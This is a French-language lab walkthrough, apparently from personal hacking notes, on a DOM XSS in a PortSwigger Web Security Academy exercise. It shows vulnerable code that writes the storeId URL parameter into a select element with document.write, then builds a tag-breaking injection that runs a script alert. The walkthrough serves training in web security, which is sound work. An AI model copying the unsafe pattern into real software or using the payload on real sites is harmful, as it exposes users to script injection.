> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/xss/xss-dom-with-document-write-inside-a-select.md).

# XSS DOM avec document.write à l’intérieur d’un select

Notes sur le XSS DOM avec document.write à l’intérieur d’un select pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.

### XSS DOM dans la cible document.write en utilisant la source location.search à l'intérieur d'un élément select

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3777adc47a80abf327900341d53fd590c9c2b953%2F%7B0535C86B-0FED-496A-9F37-4E188329FB70%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Le code suivant génère dynamiquement un `<select>` menu déroulant avec différentes villes, et sélectionne celui transmis dans le **storeId** paramètre dans l'URL :

```javascript
var stores = ["London", "Paris", "Milan"];
var store = (new URLSearchParams(window.location.search)).get("storeId");

document.write('<select name="storeId">');

if (store) {
  document.write('<option selected>' + store + "</option>");
}

for (var i = 0; i < stores.length; i++) {
  if (stores[i] === store) {
    continue;
  }
  document.write("<option>" + stores[i] + "</option>");
}

document.write("</select>");
```

Exemple avec paramètre :

```
product?productId=2&storeId=Jordan
```

* Cela ajoute une nouvelle option à la liste déroulante.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3c05cce710a5ca9e2f28c556674fe7a7ebc58e27%2F%7BD5002999-18C6-433A-A692-EF6E936624DF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

En fermant manuellement le `<option>` balise :

```javascript
</option>Jordan
```

`<select>` peut aussi être fermé :

```javascript
</option></select>Jordan
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-634daeab26425b1aefdca18fd2c9771dbbe8d4e0%2F%7B57F4476D-25D5-4A6C-8B7B-A94EE35BD0A9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Injection finale pour exécuter JavaScript :

```javascript
</option></select><script>alert(0)</script>
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ee68b44c9ad59be2eae94337eabb14fdfd721dde%2F%7B02BAA283-C850-4AD3-BD5F-19C45D8B98F3%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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